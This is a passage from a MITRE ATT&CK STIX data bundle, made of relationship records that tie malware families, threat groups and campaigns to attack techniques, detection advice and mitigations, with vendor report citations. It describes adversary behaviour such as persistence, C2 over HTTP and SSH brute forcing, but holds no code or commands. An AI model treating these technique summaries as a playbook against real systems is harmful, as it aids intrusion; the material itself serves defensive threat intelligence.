","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4988b61b-6496-4a74-9d91-e1d3b352f5ef","type":"relationship","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.845Z","description":"Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.","source_ref":"x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256","target_ref":"attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--498c599b-99ed-477d-afe8-2a6714506934","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Vasport May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99"}],"modified":"2020-03-17T02:47:10.963Z","description":"[Vasport](https://attack.mitre.org/software/S0207) copies itself to disk and creates an associated run key Registry entry to establish.(Citation: Symantec Vasport May 2012)","relationship_type":"uses","source_ref":"malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4990cf9a-9041-45c6-9d31-232ddb770341","type":"relationship","created":"2019-01-30T17:48:35.646Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"modified":"2021-06-16T15:50:05.285Z","description":"[zwShell](https://attack.mitre.org/software/S0350) can browse the file system.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"malware--54e8672d-5338-4ad1-954a-a7c986bee530","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49944838-b6f8-4e1c-94d4-5b70cb436700","type":"relationship","created":"2021-06-11T16:48:44.900Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-06-11T16:48:44.900Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) can enumerate the current process on a compromised host.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--49957d89-7449-476a-b542-d7811a86c230","created":"2017-05-31T21:33:27.032Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Cylance Cleaver)","modified":"2022-07-22T18:37:22.192Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063","target_ref":"malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4995fdc6-d705-48dc-a2e3-c6797ba2439f","created":"2022-04-06T18:19:08.461Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LazyScripter](https://attack.mitre.org/groups/G0140) has lured users to open malicious email attachments.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-06T18:22:14.209Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4999a323-b025-4a1d-8c80-5ae36b2f5a0d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/","description":"Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.","source_name":"Unit 42 C0d0so0 Jan 2016"}],"modified":"2019-04-25T11:39:52.243Z","description":"An [APT19](https://attack.mitre.org/groups/G0073) Port 22 malware variant registers itself as a service.(Citation: Unit 42 C0d0so0 Jan 2016)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--499af4be-5b6b-40b2-8df7-f41011ed1f4d","created":"2024-03-25T18:31:19.457Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SocGholish-update","description":"Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"},{"source_name":"Red Canary SocGholish March 2024","description":"Red Canary. (2024, March). Red Canary 2024 Threat Detection Report: SocGholish. Retrieved March 22, 2024.","url":"https://redcanary.com/threat-detection-report/threats/socgholish/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T20:26:47.616Z","description":"[SocGholish](https://attack.mitre.org/software/S1124) can profile compromised systems to identify domain trust relationships.(Citation: SocGholish-update)(Citation: Red Canary SocGholish March 2024)","relationship_type":"uses","source_ref":"malware--5911d2ca-64f6-49b3-b94f-29b5d185085c","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--499b83f9-ba2a-4de3-a143-ed85677a453d","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2020-03-17T03:05:58.398Z","description":"[CORALDECK](https://attack.mitre.org/software/S0212) has exfiltrated data in HTTP POST headers.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--499d7aed-5889-4f40-a688-660f976dd112","created":"2020-07-15T20:10:03.919Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR_Sodinokibi_Ransomware","description":"DFIR. (2021, March 29). Sodinokibi (aka REvil) Ransomware. Retrieved July 22, 2024.","url":"https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/"},{"source_name":"DFIR_Quantum_Ransomware","description":"DFIR. (2022, April 25). Quantum Ransomware. Retrieved July 26, 2024.","url":"https://thedfirreport.com/2022/04/25/quantum-ransomware/"},{"source_name":"Juniper IcedID June 2020","description":"Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020.","url":"https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-05T22:30:37.094Z","description":"[IcedID](https://attack.mitre.org/software/S0483) has created a scheduled task to establish persistence.(Citation: Juniper IcedID June 2020)(Citation: DFIR_Quantum_Ransomware)(Citation: DFIR_Sodinokibi_Ransomware)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--499da978-fa64-469e-901a-0d5db2b8b2f3","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack. Externally monitor the availability of services that may be targeted by an Endpoint DoS.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sucuri BIND9 August 2015","description":"Cid, D.. (2015, August 2). BIND9 – Denial of Service Exploit in the Wild. Retrieved April 26, 2019.","url":"https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49a11d2f-7945-4603-b409-d66420b94533","type":"relationship","created":"2021-03-05T18:54:56.560Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Higaisa 2020","url":"https://www.zscaler.com/blogs/security-research/return-higaisa-apt","description":"Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}],"modified":"2021-04-22T02:12:44.196Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) discovered system proxy settings and used them if available.(Citation: Zscaler Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49a68076-c596-412d-a8af-3e238dfef960","type":"relationship","created":"2020-05-26T16:17:59.687Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Rocke August 2018","url":"https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html","description":"Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."},{"source_name":"Unit 42 Rocke January 2019","url":"https://unit42.paloaltonetworks.com/malware-used-by-rocke-group-evolves-to-evade-detection-by-cloud-security-products/","description":"Xingyu, J.. (2019, January 17). Malware Used by Rocke Group Evolves to Evade Detection by Cloud Security Products. Retrieved May 26, 2020."},{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}],"modified":"2020-05-26T16:17:59.687Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) installed a cron job that downloaded and executed files from the C2.(Citation: Talos Rocke August 2018)(Citation: Unit 42 Rocke January 2019)(Citation: Anomali Rocke March 2019)","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49aeba9e-9ae9-4eb2-873e-b8ab4f8ab347","type":"relationship","created":"2020-02-18T18:03:37.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object","description":"Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.","source_name":"Microsoft Create Token"},{"url":"https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token","description":"Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.","source_name":"Microsoft Replace Process Token"},{"source_name":"Microsoft runas","description":"Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017.","url":"https://technet.microsoft.com/en-us/library/bb490994.aspx"}],"modified":"2020-03-06T13:37:57.328Z","description":"Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token.(Citation: Microsoft Replace Process Token)\n\nAdministrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas.(Citation: Microsoft runas)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49af09c8-1460-485d-9f09-dacea47fa016","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Kasidet","description":"Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.","url":"http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"}],"modified":"2020-03-16T17:02:26.262Z","description":"[Kasidet](https://attack.mitre.org/software/S0088) has the ability to obtain a victim's system name and operating system version.(Citation: Zscaler Kasidet)","relationship_type":"uses","source_ref":"malware--26fed817-e7bf-41f9-829a-9075ffac45c2","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--49b4d1e6-1f0c-4e66-a9f1-51dc32615e69","created":"2022-02-09T14:49:28.940Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos Kimsuky Nov 2021","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used `rundll32.exe` to execute malicious scripts and malware on a victim's network.(Citation: Talos Kimsuky Nov 2021)","modified":"2022-04-12T15:01:21.418Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49b63fca-e16a-446e-89fc-2b899f8420bf","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 VERMIN Jan 2018","description":"Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}],"modified":"2020-03-16T19:50:57.939Z","description":"[VERMIN](https://attack.mitre.org/software/S0257) uses WMI to check for anti-virus software installed on the system.(Citation: Unit 42 VERMIN Jan 2018)","relationship_type":"uses","source_ref":"malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49badb38-7e44-4dd6-85b2-91bb281385a0","type":"relationship","created":"2020-05-27T13:22:06.772Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-05-27T13:22:06.772Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has used HTTP in C2 communications.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49be75c9-8484-492e-9ebc-f81d2e203e4e","type":"relationship","created":"2020-07-28T17:59:34.649Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."},{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}],"modified":"2020-07-30T18:52:23.949Z","description":"[PROMETHIUM](https://attack.mitre.org/groups/G0056) has attempted to get users to execute compromised installation files for legitimate software including compression applications, security software, browsers, file recovery applications, and other tools and utilities.(Citation: Talos Promethium June 2020)(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49c17cdc-72a5-442d-b153-2cc9f9cf059d","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Chaos Stolen Backdoor","description":"Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.","url":"http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/"}],"modified":"2019-05-10T18:57:53.145Z","description":"[Chaos](https://attack.mitre.org/software/S0220) conducts brute force attacks against SSH services to gain initial access.(Citation: Chaos Stolen Backdoor)","relationship_type":"uses","source_ref":"malware--5bcd5511-6756-4824-a692-e8bb109364af","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49c28aef-b7a2-464f-af3d-e104f9edf119","type":"relationship","created":"2020-02-10T20:30:07.540Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-10T20:30:07.540Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49c54595-7740-40c9-8f12-68d8fd70ce9d","type":"relationship","created":"2019-01-30T17:48:35.644Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"modified":"2021-06-16T15:50:05.386Z","description":"[zwShell](https://attack.mitre.org/software/S0350) has deleted itself after creating a service as well as deleted a temporary file when the system reboots.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"malware--54e8672d-5338-4ad1-954a-a7c986bee530","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49c5bbcf-7ac3-406f-8b58-2b4c00b2c41e","type":"relationship","created":"2020-06-19T19:08:40.398Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Valak May 2020","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."}],"modified":"2020-06-19T19:08:40.398Z","description":"[Valak](https://attack.mitre.org/software/S0476) can determine if a compromised host has security products installed.(Citation: Cybereason Valak May 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49c7a467-98ce-4764-af86-c950ed951d13","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}],"modified":"2020-03-17T01:30:31.072Z","description":"[Helminth](https://attack.mitre.org/software/S0170) can use HTTP for C2.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49c92273-9431-4417-b8dd-37f772ad099b","type":"relationship","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.874Z","description":"Monitor for newly constructed logon behavior that may breach or otherwise leverage organizations who have access to intended victims.","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--49cc1b92-9460-4cdf-9b68-ebade6122990","created":"2023-07-12T19:15:44.172Z","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-12T19:15:44.172Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) used [Impacket](https://attack.mitre.org/software/S0357) for lateral movement.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--49cd2cbb-e53a-48ad-92ad-186723b72500","created":"2024-05-20T20:17:22.366Z","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 